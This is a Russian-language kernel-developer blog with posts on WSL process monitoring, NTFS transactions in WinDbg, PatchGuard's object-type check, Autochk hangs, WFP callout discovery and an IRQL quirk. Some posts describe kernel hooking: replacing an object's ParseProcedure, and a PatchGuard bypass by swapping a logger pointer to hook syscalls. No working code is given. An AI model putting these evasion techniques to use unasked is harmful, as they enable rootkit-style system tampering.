пятница, 21 февраля 2025 г.

Как потратить пару часов в попытке поймать запуск процессов внутри WSL

 Как поймать запуск процессов внутри WSL?

Казалось бы, ставь callback через PsSetCreateProcessNotifyRoutineEx2, в callback'е проверяй PPS_CREATE_NOTIFY_INFO.IsSubsystemProcess == 1 + ZwQueryInformationProcess(ProcessSubsystemInformation) + subSystemType == SubsystemInformationTypeWSL, в чем проблема?

Проблема 1: callback не вызывается
Проблема 2: HANDLE ProcessId приходящий в callback'е - это pid родительского процесса(svchost), но это решаемо, handle можно получить через ObOpenObjectByPointer по EPROCESS, который приходит в callback корректным.

Собственно, пару часов было потрачено на решение проблемы 1.
А дело было в том, что я не удосужился посмотреть версию WSL

У меня была установлена версия 2.

Версия 2 у WSL это легковесный hypervisor, а версия WSL 1 это эмуляция, и именно там возможно перехватывать создание процессов внутри линукс(bash / top / ls etc.). Ну и потоков тоже.


Соответственно, после даунгрейда версии: wsl --set-version 1 все прекрасно начало ловиться.

вторник, 3 декабря 2024 г.

Как понять, что файл находится внутри транзакции?

 Пусть у нас есть хендл файла, например 0xa4

По хендлу находим file object:

1: kd> !handle 00000000000000a4

PROCESS ffffa805650c2080
    SessionId: 1  Cid: 1f28    Peb: 245c58000  ParentCid: 1e18
    DirBase: 1f62ad002  ObjectTable: ffffb80f1473ae40  HandleCount:  42.
    Image: PipeClient.exe

Handle table at ffffb80f1473ae40 with 42 entries in use

00a4: Object: ffffa80566027850  GrantedAccess: 00120196 (Inherit) Entry: ffffb80f0b4d1290
Object: ffffa80566027850  Type: (ffffa8055e0940c0) File
    ObjectHeader: ffffa80566027820 (new version)
        HandleCount: 1  PointerCount: 1
        Directory Object: 00000000  Name: \test\testfile.txt {HarddiskVolume4}

Далее, смотрим структуру данного FILE_OBJECT:

1: kd> dt nt!_FILE_OBJECT ffffa80566027850
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffa805`5ebc2060 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffa805`602ac5e0 _VPB
   +0x018 FsContext        : 0xffffb80f`14c33b80 Void
   +0x020 FsContext2       : 0xffffb80f`14c33df0 Void
   +0x028 SectionObjectPointer : 0xffffa805`6682a918 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : (null)
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null)
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0 ''
   +0x04b WriteAccess      : 0x1 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x40042
   +0x058 FileName         : _UNICODE_STRING "\test\testfile.txt"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null)
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null)
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffa805`66027910 - 0xffffa805`66027910 ]
   +0x0d0 FileObjectExtension : 0xffffa805`642a8f30 Void
У файла, не находящегося в транзакции поле FileObjectExtension равно нулю, а у транзакционного файла там лежит структура:

1: kd> dqs 0xffffa805`642a8f30
ffffa805`642a8f30  00000000`00000000
ffffa805`642a8f38  ffffa805`644f5e50
ffffa805`642a8f40  00000000`00000000
ffffa805`642a8f48  00000000`00000000
Я её не реверсил, но по смещению 0x8 там лежит TXN_PARAMETER_BLOCK и уже в ней лежит транзакция, к которой принадлежит исходный файл:
1: kd> dt nt!_TXN_PARAMETER_BLOCK ffffa805`644f5e50
   +0x000 Length           : 0x10
   +0x002 TxFsContext      : 0xfffe
   +0x008 TransactionObject : 0xffffa805`650ec060 Void
   
1: kd> !object 0xffffa805`650ec060
Object: ffffa805650ec060  Type: (ffffa8055e095140) TmTx
    ObjectHeader: ffffa805650ec030 (new version)
    HandleCount: 1  PointerCount: 32776

dt nt!_KTRANSACTION ffffa805650ec060
   +0x000 OutcomeEvent     : _KEVENT
   +0x018 cookie           : 0xb00b0001
   +0x020 Mutex            : _KMUTANT
   +0x058 TreeTx           : 0xffffa805`650ec060 _KTRANSACTION
   +0x060 GlobalNamespaceLink : _KTMOBJECT_NAMESPACE_LINK
   +0x088 TmNamespaceLink  : _KTMOBJECT_NAMESPACE_LINK
   +0x0b0 UOW              : _GUID {d9403709-b1b3-11ef-988c-000c29bfd957}
   +0x0c0 State            : 1 ( KTransactionActive )
   +0x0c4 Flags            : 0x100
   +0x0c8 EnlistmentHead   : _LIST_ENTRY [ 0xffffa805`6306b578 - 0xffffa805`6306b328 ]
   +0x0d8 EnlistmentCount  : 2
   +0x0dc RecoverableEnlistmentCount : 1
   +0x0e0 PrePrepareRequiredEnlistmentCount : 1
   +0x0e4 PrepareRequiredEnlistmentCount : 2
   +0x0e8 OutcomeRequiredEnlistmentCount : 2
   +0x0ec PendingResponses : 0
   +0x0f0 SuperiorEnlistment : (null)
   +0x0f8 LastLsn          : _CLS_LSN
   +0x100 PromotedEntry    : _LIST_ENTRY [ 0xffffa805`650ec160 - 0xffffa805`650ec160 ]
   +0x110 PromoterTransaction : (null)
   +0x118 PromotePropagation : (null)
   +0x120 IsolationLevel   : 0
   +0x124 IsolationFlags   : 0
   +0x128 Timeout          : _LARGE_INTEGER 0x0
   +0x130 Description      : _UNICODE_STRING ""
   +0x140 RollbackThread   : (null)
   +0x148 RollbackWorkItem : _WORK_QUEUE_ITEM
   +0x168 RollbackDpc      : _KDPC
   +0x1a8 RollbackTimer    : _KTIMER
   +0x1e8 LsnOrderedEntry  : _LIST_ENTRY [ 0xffffa805`650ec248 - 0xffffa805`650ec248 ]
   +0x1f8 Outcome          : 1 ( KTxOutcomeUndetermined )
   +0x200 Tm               : 0xffffa805`60321b30 _KTM
   +0x208 CommitReservation : 0n0
   +0x210 TransactionHistory : [10] _KTRANSACTION_HISTORY
   +0x260 TransactionHistoryCount : 0
   +0x268 DTCPrivateInformation : (null)
   +0x270 DTCPrivateInformationLength : 0
   +0x278 DTCPrivateInformationMutex : _KMUTANT
   +0x2b0 PromotedTxSelfHandle : (null)
   +0x2b8 PendingPromotionCount : 0
   +0x2c0 PromotionCompletedEvent : _KEVENT
Видно, что у нее State == KTransactionActive, т.е. она не закоммичена и не откачена.

Также можно получить enlistment и ktm(transaction manager) и resource manager:

1: kd> dt nt!_KENLISTMENT 0xffffa805`6306b578-78
   +0x000 cookie           : 0xb00b0003
   +0x008 NamespaceLink    : _KTMOBJECT_NAMESPACE_LINK
   +0x030 EnlistmentId     : _GUID {d940370c-b1b3-11ef-988c-000c29bfd957}
   +0x040 Mutex            : _KMUTANT
   +0x078 NextSameTx       : _LIST_ENTRY [ 0xffffa805`6306b328 - 0xffffa805`650ec128 ]
   +0x088 NextSameRm       : _LIST_ENTRY [ 0xffffa805`60336ca0 - 0xffffa805`60336ca0 ]
   +0x098 ResourceManager  : 0xffffa805`60336b90 _KRESOURCEMANAGER
   +0x0a0 Transaction      : 0xffffa805`650ec060 _KTRANSACTION
   +0x0a8 State            : 100 ( KEnlistmentActive )
   +0x0ac Flags            : 0x30
   +0x0b0 NotificationMask : 0x20f
   +0x0b8 Key              : (null)
   +0x0c0 KeyRefCount      : 1
   +0x0c8 RecoveryInformation : (null)
   +0x0d0 RecoveryInformationLength : 0
   +0x0d8 DynamicNameInformation : (null)
   +0x0e0 DynamicNameInformationLength : 0
   +0x0e8 FinalNotification : 0xffffa805`6637cd90 _KTMNOTIFICATION_PACKET
   +0x0f0 SupSubEnlistment : 0xffffa805`6306b750 _KENLISTMENT
   +0x0f8 SupSubEnlHandle  : 0xffffffff`80002b78 Void
   +0x100 SubordinateTxHandle : (null)
   +0x108 CrmEnlistmentEnId : _GUID {d940370d-b1b3-11ef-988c-000c29bfd957}
   +0x118 CrmEnlistmentTmId : _GUID {d9403259-b1b3-11ef-988c-806e6f6e6963}
   +0x128 CrmEnlistmentRmId : _GUID {d9403259-b1b3-11ef-988c-806e6f6e6963}
   +0x138 NextHistory      : 0
   +0x13c History          : [20] _KENLISTMENT_HISTORY
1: kd> dt _KRESOURCEMANAGER 0xffffa805`60336b90
nt!_KRESOURCEMANAGER
   +0x000 NotificationAvailable : _KEVENT
   +0x018 cookie           : 0xb00b0002
   +0x01c State            : 2 ( KResourceManagerOnline )
   +0x020 Flags            : 0
   +0x028 Mutex            : _KMUTANT
   +0x060 NamespaceLink    : _KTMOBJECT_NAMESPACE_LINK
   +0x088 RmId             : _GUID {aac01acf-dcfb-11ed-a446-b2fd1f82aa81}
   +0x098 NotificationQueue : _KQUEUE
   +0x0d8 NotificationMutex : _KMUTANT
   +0x110 EnlistmentHead   : _LIST_ENTRY [ 0xffffa805`6306b588 - 0xffffa805`6306b588 ]
   +0x120 EnlistmentCount  : 1
   +0x128 NotificationRoutine : 0xfffff805`0d48c3c0     long  tm!TmpInternalCrmNotification+0
   +0x130 Key              : 0xffffffff`800002d0 Void
   +0x138 ProtocolListHead : _LIST_ENTRY [ 0xffffa805`60336cc8 - 0xffffa805`60336cc8 ]
   +0x148 PendingPropReqListHead : _LIST_ENTRY [ 0xffffa805`60336cd8 - 0xffffa805`60336cd8 ]
   +0x158 CRMListEntry     : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x168 Tm               : 0xffffa805`60321b30 _KTM
   +0x170 Description      : _UNICODE_STRING ""
   +0x180 Enlistments      : _KTMOBJECT_NAMESPACE
   +0x228 CompletionBinding : _KRESOURCEMANAGER_COMPLETION_BINDING
1: kd> dt nt!_KTM 0xffffa805`60321b30
   +0x000 cookie           : 0xb00b0004
   +0x008 Mutex            : _KMUTANT
   +0x040 State            : 3 ( KKtmOnline )
   +0x048 NamespaceLink    : _KTMOBJECT_NAMESPACE_LINK
   +0x070 TmIdentity       : _GUID {aac01acf-dcfb-11ed-a446-b2fd1f82aa81}
   +0x080 Flags            : 0xc0
   +0x084 VolatileFlags    : 0
   +0x088 LogFileName      : _UNICODE_STRING "\Device\HarddiskVolume4\$Extend\$RmMetadata\$TxfLog\$TxfLog::KtmLog"
   +0x098 LogFileObject    : 0xffffa805`6035d0b0 _FILE_OBJECT
   +0x0a0 MarshallingContext : 0xffffb80f`07d513a0 Void
   +0x0a8 LogManagementContext : 0xffffa805`5ecb0b90 Void
   +0x0b0 Transactions     : _KTMOBJECT_NAMESPACE
   +0x158 ResourceManagers : _KTMOBJECT_NAMESPACE
   +0x200 LsnOrderedMutex  : _KMUTANT
   +0x238 LsnOrderedList   : _LIST_ENTRY [ 0xffffa805`60321d68 - 0xffffa805`60321d68 ]
   +0x248 CommitVirtualClock : _LARGE_INTEGER 0xe3
   +0x250 CommitVirtualClockMutex : _FAST_MUTEX
   +0x288 BaseLsn          : _CLS_LSN
   +0x290 CurrentReadLsn   : _CLS_LSN
   +0x298 LastRecoveredLsn : _CLS_LSN
   +0x2a0 TmRmHandle       : 0xffffffff`800002d0 Void
   +0x2a8 TmRm             : 0xffffa805`60336b90 _KRESOURCEMANAGER
   +0x2b0 LogFullNotifyEvent : _KEVENT
   +0x2c8 CheckpointWorkItem : _WORK_QUEUE_ITEM
   +0x2e8 CheckpointTargetLsn : _CLS_LSN
   +0x2f0 LogFullCompletedWorkItem : _WORK_QUEUE_ITEM
   +0x310 LogWriteResource : _ERESOURCE
   +0x378 LogFlags         : 2
   +0x37c LogFullStatus    : 0n0
   +0x380 RecoveryStatus   : 0n0
   +0x388 LastCheckBaseLsn : _CLS_LSN
   +0x390 RestartOrderedList : _LIST_ENTRY [ 0xffffb80f`07cc7b48 - 0xffffb80f`07cc7b48 ]
   +0x3a0 OfflineWorkItem  : _WORK_QUEUE_ITEM


Если стоит цель программно по файловому объекту получить транзакцию, то это делается вызовом ф-ции IoGetTransactionParameterBlock, которая вернет все тот же PTXN_PARAMETER_BLOCK с объектом транзакции внутри.

вторник, 26 декабря 2023 г.

Что такое защита Object type в Patch-Guard?

Как известно, Patch-Guard защищает определенные критические части ОС, полный перечень тут:

    0   : A generic data region
    1   : Modification of a function or .pdata
    2   : A processor IDT
    3   : A processor GDT
    4   : Type 1 process list corruption
    5   : Type 2 process list corruption
    6   : Debug routine modification
    7   : Critical MSR modification
    8   : Object type
    9   : A processor IVT
    a   : Modification of a system service function
    b   : A generic session data region
    c   : Modification of a session function or .pdata
    d   : Modification of an import table
    e   : Modification of a session import table
    f   : Ps Win32 callout modification
    10  : Debug switch routine modification
    11  : IRP allocator modification
    12  : Driver call dispatcher modification
    13  : IRP completion dispatcher modification
    14  : IRP deallocator modification
    15  : A processor control register
    16  : Critical floating point control register modification
    17  : Local APIC modification
    18  : Kernel notification callout modification
    19  : Loaded module list modification
    1a  : Type 3 process list corruption
    1b  : Type 4 process list corruption
    1c  : Driver object corruption
    1d  : Executive callback object modification
    1e  : Modification of module padding
    1f  : Modification of a protected process
    20  : A generic data region
    21  : A page hash mismatch
    22  : A session page hash mismatch
    23  : Load config directory modification
    24  : Inverted function table modification
    25  : Session configuration modification
    26  : An extended processor control register
    27  : Type 1 pool corruption
    28  : Type 2 pool corruption
    29  : Type 3 pool corruption
    2a  : Type 4 pool corruption
    2b  : Modification of a function or .pdata
    2c  : Image integrity corruption
    2d  : Processor misconfiguration
    2e  : Type 5 process list corruption
    2f  : Process shadow corruption
    30  : Retpoline code page corruption
    101 : General pool corruption
    102 : Modification of win32k.sys

И если большая часть того, что защищается понятно из названия, то для Object type это как-то не очевидно. Попробуем разобраться.

Предположим, есть задача перехвата создания/открытия объекта Device.

Ядро предоставляет ограниченный набор объектов, которые можно перехватить:

The ObRegisterCallbacks routine registers a list of callback routines for thread, process, and desktop handle operations.

Как видно, создание объекта Device не входит в этот набор и данная api не подходит.
Но выход есть. Так как Device это объект ядра, у него есть набор предопределенных функций:

struct _OBJECT_TYPE_INITIALIZER
{
...
    VOID (*DumpProcedure)(VOID* arg1, struct _OBJECT_DUMP_CONTROL* arg2);
    LONG (*OpenProcedure)(enum _OB_OPEN_REASON arg1, CHAR arg2, struct _EPROCESS* arg3, VOID* arg4, ULONG* arg5, ULONG arg6);
    VOID (*CloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, ULONG arg3, ULONG arg4);
    VOID (*DeleteProcedure)(VOID* arg1);
    union
    {
        LONG (*ParseProcedure)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, VOID** arg10);
        LONG (*ParseProcedureEx)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, struct _OB_EXTENDED_PARSE_PARAMETERS* arg10, VOID** arg11);
    };
    LONG (*SecurityProcedure)(VOID* arg1, enum _SECURITY_OPERATION_CODE arg2, ULONG* arg3, VOID* arg4, ULONG* arg5, VOID** arg6, enum _POOL_TYPE arg7, struct _GENERIC_MAPPING* arg8, CHAR arg9);
    LONG (*QueryNameProcedure)(VOID* arg1, UCHAR arg2, struct _OBJECT_NAME_INFORMATION* arg3, ULONG arg4, ULONG* arg5, CHAR arg6);
    UCHAR (*OkayToCloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, VOID* arg3, CHAR arg4);
...
};

Объект Device создается функцией IoCreateDevice, которая в свою очередь вызывает ObCreateObject + ObInsertObject.
ObInsertObject выполняет поиск имени на предмет уже существующего через ObpLookupObjectName => ParseProcedure и на этом шаге у объекта можно подменить ParseProcedure на свою, получив управление.

Однако, все эти манипуляции видит Patch Guard, и выдает на это свой вердикт ввиде BSOD'a:

Bug Check 0x109: CRITICAL_STRUCTURE_CORRUPTION

0x8 Object type

CRITICAL_STRUCTURE_CORRUPTION (109)
This BugCheck is generated when the kernel detects that critical kernel code or
data have been corrupted. There are generally three causes for a corruption:
1) A driver has inadvertently or deliberately modified critical kernel code
 or data. See http://www.microsoft.com/whdc/driver/kernel/64bitPatching.mspx
2) A developer attempted to set a normal kernel breakpoint using a kernel
 debugger that was not attached when the system was booted. Normal breakpoints,
 "bp", can only be set if the debugger is attached at boot time. Hardware
 breakpoints, "ba", can be set at any time.
3) A hardware corruption occurred, e.g. failing RAM holding kernel code or data.
Arguments:
Arg1: a3a0016274a8d5a6, Reserved
Arg2: b3b70de8c72b012a, Reserved
Arg3: ffffc209daaa6970, Failure type dependent information
Arg4: 0000000000000008, Type of corrupted region, can be
...
    8   : Object type  <=== Here I am!
...

Соответственно, это и есть ответ на вопрос: что такое защита Object type в Patch-Guard.

Правда остался еще один вопрос: как же в итоге поймать создание device object?

Довольно просто(если у вас есть ELAM driver) - с помощью провайдера Microsoft-Windows-Threat-Intelligence, eventId 31 THREATINT_DEVICE_OBJECT_LOAD(для unload'a eventId 32).

понедельник, 31 октября 2022 г.

Autochk и запись на диск

Забавный факт - если писать на диск данные во время работы Autochk, то система зависнет:


Воспроизвести можно так: fsutil dirty set C: и перезагрузка.

Включенный verifier даст больше информации, чем скрин выше:

[FltMgr] Mini-filter verification enabled for "test" filter.
KDTARGET: Refreshing KD connection
Driver Verifier: Enabled for test.sys, flags 0x209bb, build 9200, key IeDrfOgBNzQtNzJiutJGkF
Autochk cannot lock system volume due to a sharing violation.
This is caused by a driver holding a file opened for write access.

Check all newly added driver NtCreateFile and NtOpenFile calls or run:
       !FindAutochkBlockers
From "kd" to list the files which may be preventing autochk from running.
Break instruction exception - code 80000003 (first chance)
0033:000007f7`1955e790 cc              int     3
kd> k
 # Child-SP          RetAddr           Call Site
00 0000000a`53ac9ba0 0000000a`53bc6d90 0x000007f7`1955e790
01 0000000a`53ac9ba8 00000000`00000000 0x0000000a`53bc6d90
kd>  !FindAutochkBlockers
Kernel handle Error reading handle count.

007c: Object: fffffa801ad93f20  GrantedAccess: 00000004
Type: File Flag: 00000000
File Name: \Program Files (x86)\Test\2022_10_21_11_01_54_372837.log

00a0: Object: fffffa801ae19d60  GrantedAccess: 00000004
Type: File Flag: 00000000
File Name: \Program Files (x86)\Test\2022_10_21_11_01_54_683864.log

00cc: Object: fffffa801b23e070  GrantedAccess: 00000001
Type: File Flag: 00000000
File Name:

00d8: Object: fffffa801ad7a770  GrantedAccess: 0012019f
Type: File Flag: 00000000
File Name: \$Extend\$RmMetadata\$TxfLog\$TxfLogContainer00000000000000000002

00dc: Object: fffffa801ad7aa20  GrantedAccess: 0012019f
Type: File Flag: 00000000
File Name: \$Extend\$RmMetadata\$TxfLog\$TxfLogContainer00000000000000000001

00e0: Object: fffffa801ada1350  GrantedAccess: 0012019f
Type: File Flag: 00000000
File Name: \$Extend\$RmMetadata\$TxfLog\$TxfLog.blf

021c: Object: fffffa801b2f4690  GrantedAccess: 00000004
Type: File Flag: 00000000
File Name: \Program Files (x86)\Test\2022_10_21_11_01_52_111448.log

024c: Object: fffffa801aa56f20  GrantedAccess: 0013019f
Type: File Flag: 00000000
File Name: \Program Files (x86)\Test\data

Причина всего этого: Autochk.exe не может залочить том из-за того, что мой драйвер держит несколько файлов открытыми на запись.

Исправить это можно отказавшись от записи на время работы Autochk.exe.  

А факт окончания работы Autochk.exe можно определить через функцию FsRtlAreVolumeStartupApplicationsComplete.

понедельник, 17 мая 2021 г.

Как найти wpf callout's без анализа кода в дизассемблере?

Для начала пишем тестовый драйвер, который устанавливает пару callout's (через FwpsCalloutRegister0).

Далее, просто перечисляем все теги памяти, ищем нужный(WFP callouts):

!poolused

...
WfpC        12        74384          0            0    WFP callouts , Binary: netio.sys
...

!poolfind WfpC


fffffa801a148000 : tag WfpC, size   0x12000, Nonpaged pool

Затем выводим содержимое памяти:

dqs fffffa801a148000 L1000 (или dqs fffffa801a148000 L0x12000, но тут уже нужно логировать в log file)

kd> dqs fffffa801a148000 L1000
fffffa80`1a148000  00000000`00000000
fffffa80`1a148008  00000000`00000000
fffffa80`1a148010  00000000`00000000
fffffa80`1a148018  00000000`00000000
fffffa80`1a148020  00000000`00000000
fffffa80`1a148028  00000000`00000000
fffffa80`1a148030  00000000`00000000
fffffa80`1a148038  00000000`00000000
fffffa80`1a148040  00000000`00000000
fffffa80`1a148048  00000001`00000002
fffffa80`1a148050  00000000`00000000
fffffa80`1a148058  fffff880`01ebac40 tcpip!IPSecInboundTransportFilterCalloutClassifyV4
fffffa80`1a148060  fffff880`01dab624 tcpip!IPSecAleConnectCalloutNotify+0x2
fffffa80`1a148068  00000000`00000000
...
fffffa80`1a14c808  00000000`00000000
fffffa80`1a14c810  fffff880`05d0d700 mpsdrv!MpsQueryUserCallout
fffffa80`1a14c818  fffff880`05d0d8e0 mpsdrv!MpsDummyFilterNotify
fffffa80`1a14c820  00000000`00000000
...
fffffa80`1a14ce38  00000000`00000000
fffffa80`1a14ce40  fffff880`05dde19c Ndu!NduFlowEstablishedClassify
fffffa80`1a14ce48  fffff880`05dde810 Ndu!NduCalloutNotify
fffffa80`1a14ce50  00000000`00000000
...
fffffa80`1a14d078  00000000`00000000
fffffa80`1a14d080  fffff880`074d4000 test+0x1000 <== а вот и callout's тестового драйвера
fffffa80`1a14d088  fffff880`074d4500 test+0x1500
fffffa80`1a14d090  00000000`00000000

И не нужно мучатся, в дизасме выискивать смещения на эти структуры, как это делается в некоторых статьях.
Тем более, что на разных версиях ОС эти смещения указывают на совсем другое, и все эти описанные сакральные знания становятся бесполезными. А теги памяти с очень большой вероятностью меняться не будут.


понедельник, 27 июля 2020 г.

Может ли колбек PsSetCreateThreadNotifyRoutine выполняться на APC_LEVEL?

Msdn утверждает, что нет: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreatethreadnotifyroutine

Реальность утверждает, что да. По крайней мере на windows 8.

Кратенько суть: есть установленный колбек на создание новых потоков в драйвере, в нем среди прочего вызывается ZwClose, и, внезапно, колбек вызывается на IRQL == APC_LEVEL.

И это дело ловит верифаер:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
A device driver attempting to corrupt the system has been caught.  This is
because the driver was specified in the registry as being suspect (by the
administrator) and the kernel has enabled substantial checking of this driver.
If the driver attempts to corrupt the system, bugchecks 0xC4, 0xC1 and 0xA will
be among the most commonly seen crashes.
Arguments:
Arg1: 000000000002001f, ID of the 'IrqlZwPassive' rule that was violated.
Arg2: fffff8800109ba10, A pointer to the string describing the violated rule condition.
Arg3: 0000000000000000, Reserved (unused).
Arg4: 0000000000000000, Reserved (unused).

Debugging Details:
------------------
DV_VIOLATED_CONDITION:  ZwClose should only be called at IRQL = PASSIVE_LEVEL.
LAST_CONTROL_TRANSFER:  from fffff803b91ed0ea to fffff803b90ec930

STACK_TEXT: 
fffff880`049cf4d8 fffff803`b91ed0ea : 00000000`00000000 00000000`000000c4 fffff880`049cf640 fffff803`b91714b8 : nt!DbgBreakPointWithStatus
fffff880`049cf4e0 fffff803`b91ec742 : 00000000`00000003 fffff880`049cf640 fffff803`b9171e90 00000000`000000c4 : nt!KiBugCheckDebugBreak+0x12
fffff880`049cf540 fffff803`b90f2144 : 00000000`00000000 fffff880`0109925d 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0x79f
fffff880`049cfc60 fffff880`0109921f : 00000000`000000c4 00000000`0002001f fffff880`0109ba10 00000000`00000000 : nt!KeBugCheckEx+0x104
fffff880`049cfca0 fffff880`01090529 : ffffffff`80000498 fffff803`b96d4180 fffff980`032c4ee0 fffffa80`1c505b00 : VerifierExt!SLIC_abort+0x47
fffff880`049cfce0 fffff880`0109054e : fffff880`049cfdb0 fffff880`049cfdf0 fffffa80`1c505b00 00000000`00000000 : VerifierExt!SLIC_ZwClose_entry_irqlzwpassive+0x1d
fffff880`049cfd10 fffff880`08f6c9be : 00000000`000010a0 fffff880`049d0180 00000000`00000004 fffff880`049d0180 : VerifierExt!ZwClose_wrapper+0x1a
fffff880`049cfe40 fffff803`b94a668d : fffff803`b930d7a8 fffffa80`1bb3d680 fffff803`b930d7a8 fffff880`049d03d0 : xxx!ThreadNotify+0x73
fffff880`049cfea0 fffff803`b94a9b3a : fffffa80`18f68b00 00000000`00000000 fffff6fc`01dca000 fffff880`049d00e0 : nt!PspInsertThread+0x61d
fffff880`049d0080 fffff803`b940f8c0 : 00001000`18f68b00 00000000`00000000 fffff803`b93c6a80 00000000`00000000 : nt!PspCreateThread+0x216
fffff880`049d0320 fffff803`b940ed7a : 00000000`00000000 00000000`00000001 fffffa80`1c638150 fffff880`049d0679 : nt!PsCreateSystemThreadEx+0x134
fffff880`049d0590 fffff803`b93d5702 : 00000000`00000006 00000000`00000000 00000000`00000000 fffff880`049d0820 : nt!PsCreateSystemThread+0x3a
fffff880`049d05f0 fffff803`b93d7e21 : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000002 : nt!PopFlushVolumes+0x2c2
fffff880`049d06e0 fffff803`b90f1053 : fffffa80`18f68b00 fffff803`b90efb00 00000000`c0000004 00000000`00000001 : nt!NtSetSystemPowerState+0x495
fffff880`049d0820 fffff803`b90f6230 : fffff803`b93e983c 00000000`00534310 00000000`00000006 00000000`00000005 : nt!KiSystemServiceCopyEnd+0x13
fffff880`049d09b8 fffff803`b93e983c : 00000000`00534310 00000000`00000006 00000000`00000005 00000000`00000004 : nt!KiServiceLinkage
fffff880`049d09c0 fffff803`b90f1053 : fffffa80`18f68b00 fffffa80`18f68b00 fffff880`c0000004 0000003e`e9aafac8 : nt! ?? ::OKHAJAOM::`string'+0x3584
fffff880`049d0b00 000007fc`fed7447b : 000007f7`8f091f3c 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x13
0000003e`e9aafae8 000007f7`8f091f3c : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`000003ea : ntdll!NtShutdownSystem+0xa

Текущий IRQL == APC_LEVEL, а ZwClose действительно должна быть вызвана на PASSIVE_LEVEL, так что вердикт от верифаера справедлив.

Кто задирает IRQL до APC_LEVEL? Функция NtSetSystemPowerState:

NtSetSystemPowerState:
PAGELK:0000000140360C2E mov rbx, cr8
PAGELK:0000000140360C32 mov cr8, r13 <== r13 равна единице, это APC_LEVEL

На x64 регистр CR8 содержит информацию о приоритизации внешних прерываний (0-3биты), то есть текущий irq level.

Почему так происходит:

При выполнении NtShutdownSystem система создает до 8ми системных потоков, которые скидывают данные томов на диск. Подсчитывается количество томов, обходом списка PopVolumeDevices, затем создаются системные потоки (кол-во равно кол-ву томов, но не более 8ми). Для синхронизации доступа к списку томов используется FastMutex, который задирает IRQL до APC_LEVEL. Код выше с CR8 это просто заинлайненный код захвата fast mutex.

Псевдокод примерно такой(очень упрощенно):

ExAcquireFastMutex() <= IRQL становится равным APC_LEVEL

1) обход списка томов, для их подсчета
2) создание системных потоков которые flush'ат данные томов на диск через ZwFlushBuffersFile(кеш файловой системы скидывается на диск)
3) системные потоки при создании триггерят колбеки, установленные через PsSetCreateThreadNotifyRoutine(IRQL все еще равен APC_LEVEL), в колбеках могут вызываться функции, которые работают только на PASSIVE_LEVEL.

ExReleaseFastMutex()

Это является багом в ядре ОС, т.к. правильная реализация должна использовать guarded mutex.
Несмотря на то, что в msdn пишут, что с win8 фаст и гвардед мьютексы реализованы одинаково, видно, что это не так.

воскресенье, 21 июля 2019 г.

Обход Patch-Guard

Забавную штуку я обнаружил сегодня. То, что мы с Hex'ом придумали больше 7ми лет назад внезапно всплыло в виде библиотеки на гитхаб: https://github.com/everdox/InfinityHook

Если кратко, то через подмену указателя в структуре, которую не контролирует Patch-Guard можно перехватывать довольно много всего в системе(начиная с vista). В моем случае технология использовалась в одном продукте, которому уже несколько лет. И перехватывались именно сисколы(как и в InfinityHook). И хотя в либе используется "Circular Kernel Context Logger", а у меня в коде "NT Kernel Logger" совпадение крайне забавное. Дойти до подобной идеи, как мне кажется, не тривиально. В коде библиотеки есть несколько грубых ошибок, которые будут приводить к потере сисколов, и только это позволяет мне думать, что человек дошел до идеи сам, а не получил эту информацию от бывших сотрудников, которые имели доступ к этой либе в svn на моей работе :)

среда, 15 мая 2019 г.

Транзакции в windows. Часть 1.

Что такое транзакция?


Транзакция это группа операций, которая удовлетворяет следующим свойствам:

* атомарность(atomic),
* согласованность (consistent),
* изолированность(isolated)
* долговечность(durable) - ACID.

Под атомарностью подразумевается то, что все операции в рамках транзакции либо выполнятся успешно, либо не выполнятся вообще и откатятся(rollback) в исходное состояние.

Под согласованностью понимается то, что данные будут согласованы после транзакций.
Пример: снятие и зачисление на двух счетах при банковском переводе должны совпадать.

Под изолированностью понимается то, что к примеру, процесс обновления системы не виден для человека, который ей пользуется в данный момент.

Под долговечностью понимается сохранность данных при каком-либо сбое. Применительно к windows это может означать внезапную остановку системы или отключение питания системы. Данные транзакции при этом будут сохранены.

Как принцип ACID реализуется в windows ?


ACID реализуется через механизм транзакций в windows(начиная с vista), поддерживается два типа транзакционных операций: реестр(registry) и файловые операции на NTFS томе.

Создание транзации => выполнение действий в рамках транзакции => подтверждение изменений ( commit ) или откат изменений ( rollback ) обеспечивает атомарность и согласованность действий в рамках транзакции.

Изолированность заложена в сам процесс транзаций, к примеру, созданный ключ реестра в рамках транзации не виден для обычных реестровых api, он виден только для транзакционных api работы с ключем.

Долговечность достигается за счет компонента, под названием Common Log File System (CLFS). Это высокопроизводительная, обще-целевая подсистема логирования, которая к тому же устойчива к сбоям системы.  

Как транзакции используются в windows ?

 

